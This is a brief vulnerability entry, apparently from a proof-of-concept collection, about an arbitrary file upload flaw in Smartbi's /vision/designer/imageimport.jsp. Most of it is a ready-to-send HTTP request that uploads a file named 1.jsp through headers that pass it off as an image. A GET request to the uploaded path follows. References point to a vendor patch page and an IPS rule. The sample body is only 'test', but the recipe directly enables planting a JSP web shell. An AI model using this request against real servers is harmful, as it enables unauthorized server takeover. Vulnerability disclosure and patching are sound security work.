Description
Smartbi存在文件上传漏洞，攻击者可利用该漏洞通过上传恶意文件来获取服务器权限。
Smartbi /imageimport.jsp 存在任意文件上传
PoC
POST /vision/designer/imageimport.jsp HTTP/1.1
Host:
Cookie: UserLogging=false; FQConfigLogined=; FQPassword=; JSESSIONID=AAEDEBC8984E4F540DFAAF8C0F932035
X-File-Type: image
X-File-Name: 1.jsp
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------2927288396864
test
GET /vision/designer/images/1.jsp
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://disk.scan.cm/All_wiki/Qingy%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E5%BA%9320210715/Web%E5%AE%89%E5%85%A8/SmartBi/SmartBi%E5%85%A8%E7%89%88%E6%9C%AC%20SQl%E6%B3%A8%E5%85%A5%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/SmartBi%E5%85%A8%E7%89%88%E6%9C%AC%20SQl%E6%B3%A8%E5%85%A5%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
https://www.smartbi.com.cn/patchinfo
https://update.nsfocusglobal.com/update/listNewipsDetail/v/rule5.6.11_v2